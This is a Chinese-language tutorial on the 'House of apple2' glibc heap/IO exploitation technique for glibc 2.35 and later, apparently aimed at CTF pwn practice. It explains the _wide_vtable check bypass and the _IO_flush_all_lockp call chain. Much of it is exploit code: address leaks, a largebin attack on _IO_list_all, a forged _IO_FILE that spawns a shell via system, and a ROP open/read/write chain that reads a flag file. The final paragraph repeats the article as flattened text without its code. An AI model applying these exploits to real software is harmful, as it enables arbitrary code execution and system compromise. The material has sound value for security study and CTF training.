高效IO攻击利用学习之House of apple2超详解
字数 1346 2025-08-22 12:22:30

House of apple2 高效IO攻击利用详解

背景与概述

House of apple系列是由山海关团队Roderick开发的IO利用技术,包含apple1、apple2和apple3三种调用方式。本文重点讲解House of apple2技术。

在libc 2.35及以后版本中,glibc移除了许多关键hook(如malloc_hook、free_hook等),这使得传统的堆利用技术失效。因此,高版本下的堆利用主要依赖于对_IO_FILE结构的伪造和IO流的劫持。

利用条件

House of apple2是高版本中利用条件最少的攻击方式之一:

  1. 能够刷新IO流(从main函数返回或调用exit函数)
  2. 能够泄露libc基址和heap地址
  3. 只需一次largebin attack即可完成利用

核心原理

关键结构体分析

  1. _IO_FILE结构体

    • 包含_wide_data成员,指向_IO_wide_data结构体
    • 在2.24+版本中,vtable指针受到IO_validate_vtable函数检查
  2. _IO_wide_data结构体

    • 包含_wide_vtable指针,指向虚表
    • 关键点:_wide_vtable指针不受IO_validate_vtable检查

绕过vtable检查

通过伪造_IO_wide_data_wide_vtable指针,可以绕过glibc的安全检查:

/* 伪代码:IO_validate_vtable检查逻辑 */
if (vtable不在__libc_IO_vtables段内) {
    _IO_vtable_check(); // 会终止进程
}
return vtable;

调用链分析

攻击利用的调用链如下:

_IO_flush_all_lockp (exit时调用)
    → _IO_wfile_overflow
        → _IO_wdoallocbuf
            → _IO_WDOALLOCATE (被劫持的目标)

关键函数_IO_wdoallocbuf源码:

void _IO_wdoallocbuf(FILE *fp) {
    if (fp->_wide_data->_IO_buf_base) return;
    if (!(fp->_flags & _IO_UNBUFFERED))
        if ((wint_t)_IO_WDOALLOCATE(fp) != WEOF) // 目标劫持点
            return;
    _IO_wsetb(fp, fp->_wide_data->_shortbuf, 
             fp->_wide_data->_shortbuf + 1, 0);
}

利用步骤详解

1. 泄露关键地址

通过largebin泄露libc和heap地址:

add(0, 0x440)
add(1, 0x10)
add(2, 0x430)
add(3, 0x10)
dele(0)
add(4, 0x460)
show(0)
libc_base = l64() - 0x21b0e0
IO_list_all = libc_base + libc.sym['_IO_list_all']

2. Largebin Attack

劫持_IO_list_all指针:

edit(0, 0x100, p64(libc_base+0x21b0e0)*2)
dele(2)
edit(0, 0x100, p64(0)*3 + p64(IO_list_all-0x20))
add(5, 0x470)  # 触发largebin attack

3. 伪造IO结构体

关键伪造点:

file_addr = heap_base + 0x700
IO_wide_data_addr = file_addr
wide_vtable_addr = file_addr + 0xe8 - 0x68

fake_io = b""
# 标准IO_FILE结构伪造
fake_io += p64(0)  # _IO_read_end
fake_io += p64(0)  # _IO_read_base
fake_io += p64(0)  # _IO_write_base
fake_io += p64(1)  # _IO_write_ptr
fake_io += p64(0)  # _IO_write_end
# ... 其他字段伪造
fake_io += p64(IO_wide_data_addr)  # _IO_wide_data
fake_io = fake_io.ljust(0xc8, b'\x00')
fake_io += p64(libc_base+libc.sym['_IO_wfile_jumps'])  # 合法vtable
fake_io += p64(wide_vtable_addr)  # 伪造的wide_vtable
fake_io += p64(system)  # 覆盖_IO_WDOALLOCATE

4. 触发执行

通过exit触发IO流刷新:

edit(2, 0x100, fake_io)
edit(1, 0x20, p64(0)*2 + b' sh;')  # 准备参数
ex1t()  # 触发exit

高级利用技巧

ORW利用(无one_gadget情况)

  1. 栈迁移技术

    • 利用magic gadget实现栈迁移:
    <svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]
    <svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
    <svcudp_reply+34>: lea r13,[rbp+0x10]
    <svcudp_reply+48>: call QWORD PTR [rax+0x28]
    
  2. 关键伪造

    # 设置栈迁移目标
    fake_io += p64(orw_addr)  # _IO_save_base (rdi+0x48)
    
    # ORW链构造
    orw = b'./flag\x00\x00'
    orw += p64(rdx_rbx) + p64(0) + p64(orw_addr+0x100)  # rbx=orw_addr+0x100
    orw += p64(rdi) + p64(orw_addr)  # filename
    orw += p64(rsi) + p64(0) + p64(openn)  # open
    # ... read/write链
    orw = orw.ljust(0x128, b'\x00') + p64(leave_ret)
    
  3. vtable布局

    • orw_addr+0x18指向orw_addr+0x100
    • orw_addr+0x100+0x28处放置leave; ret

绕过检查要点

  1. flags检查

    • _flags需要设置合适的值(如-72540026)
    • _mode通常设置为-1
  2. 指针有效性检查

    • _lock需要指向有效地址(如_IO_stdfile_2_lock
    • _wide_data必须指向有效内存区域
  3. vtable检查

    • 主vtable必须指向__libc_IO_vtables段内地址
    • _wide_vtable可以任意指向

完整EXP示例

system("/bin/sh")版本

# 省略初始化代码...
# 泄露地址
add(0, 0x440); add(1, 0x10); add(2, 0x430); add(3, 0x10)
dele(0); add(4, 0x460); show(0)
libc_base = l64() - 0x21b0e0
system = libc_base + libc.sym['system']

# largebin attack
edit(0, 0x100, p64(libc_base+0x21b0e0)*2)
dele(2)
edit(0, 0x100, p64(0)*3 + p64(IO_list_all-0x20))
add(5, 0x470)

# 伪造IO
file_addr = heap_base + 0x700
fake_io = b""
# ... 完整IO结构伪造
fake_io += p64(libc_base+libc.sym['_IO_wfile_jumps'])
fake_io += p64(file_addr + 0xe8 - 0x68)
fake_io += p64(system)

edit(2, 0x100, fake_io)
edit(1, 0x20, p64(0)*2 + b' sh;')
ex1t()

ORW版本

# 设置栈迁移目标
fake_io = b""
fake_io += p64(orw_addr)  # _IO_save_base (rdi+0x48)
# ... 其他IO字段

# ORW链
orw = b'./flag\x00\x00'
orw += p64(rdx_rbx) + p64(0) + p64(orw_addr+0x100)  # rbx控制
orw += p64(rdi) + p64(orw_addr) + p64(rsi) + p64(0) + p64(openn)
orw += p64(rdi) + p64(3) + p64(rsi) + p64(orw_addr+0x200) + p64(readd)
orw += p64(rdi) + p64(1) + p64(writee)
orw = orw.ljust(0x128, b'\x00') + p64(leave_ret)

# 触发
edit(4, 0x300, orw)
edit(2, 0x100, fake_io)
ex1t()

总结

House of apple2是一种高效的高版本IO利用技术,其核心在于:

  1. 利用_IO_wide_data的vtable不受检查的特性
  2. 通过largebin attack劫持_IO_list_all
  3. 精心构造IO_FILE结构触发调用链
  4. 可灵活实现system执行或栈迁移ORW

该技术适用于glibc 2.35+环境,是绕过现代glibc防护的有效手段之一。

House of apple2 高效IO攻击利用详解 背景与概述 House of apple系列是由山海关团队Roderick开发的IO利用技术,包含apple1、apple2和apple3三种调用方式。本文重点讲解House of apple2技术。 在libc 2.35及以后版本中,glibc移除了许多关键hook(如malloc_ hook、free_ hook等),这使得传统的堆利用技术失效。因此,高版本下的堆利用主要依赖于对 _IO_FILE 结构的伪造和IO流的劫持。 利用条件 House of apple2是高版本中利用条件最少的攻击方式之一: 能够刷新IO流(从main函数返回或调用exit函数) 能够泄露libc基址和heap地址 只需一次largebin attack即可完成利用 核心原理 关键结构体分析 _IO_FILE 结构体 : 包含 _wide_data 成员,指向 _IO_wide_data 结构体 在2.24+版本中,vtable指针受到 IO_validate_vtable 函数检查 _IO_wide_data 结构体 : 包含 _wide_vtable 指针,指向虚表 关键点: _wide_vtable 指针 不受 IO_validate_vtable 检查 绕过vtable检查 通过伪造 _IO_wide_data 的 _wide_vtable 指针,可以绕过glibc的安全检查: 调用链分析 攻击利用的调用链如下: 关键函数 _IO_wdoallocbuf 源码: 利用步骤详解 1. 泄露关键地址 通过largebin泄露libc和heap地址: 2. Largebin Attack 劫持 _IO_list_all 指针: 3. 伪造IO结构体 关键伪造点: 4. 触发执行 通过exit触发IO流刷新: 高级利用技巧 ORW利用(无one_ gadget情况) 栈迁移技术 : 利用magic gadget实现栈迁移: 关键伪造 : vtable布局 : orw_addr+0x18 指向 orw_addr+0x100 orw_addr+0x100+0x28 处放置 leave; ret 绕过检查要点 flags检查 : _flags 需要设置合适的值(如-72540026) _mode 通常设置为-1 指针有效性检查 : _lock 需要指向有效地址(如 _IO_stdfile_2_lock ) _wide_data 必须指向有效内存区域 vtable检查 : 主vtable必须指向 __libc_IO_vtables 段内地址 _wide_vtable 可以任意指向 完整EXP示例 system("/bin/sh")版本 ORW版本 总结 House of apple2是一种高效的高版本IO利用技术,其核心在于: 利用 _IO_wide_data 的vtable不受检查的特性 通过largebin attack劫持 _IO_list_all 精心构造IO_ FILE结构触发调用链 可灵活实现system执行或栈迁移ORW 该技术适用于glibc 2.35+环境,是绕过现代glibc防护的有效手段之一。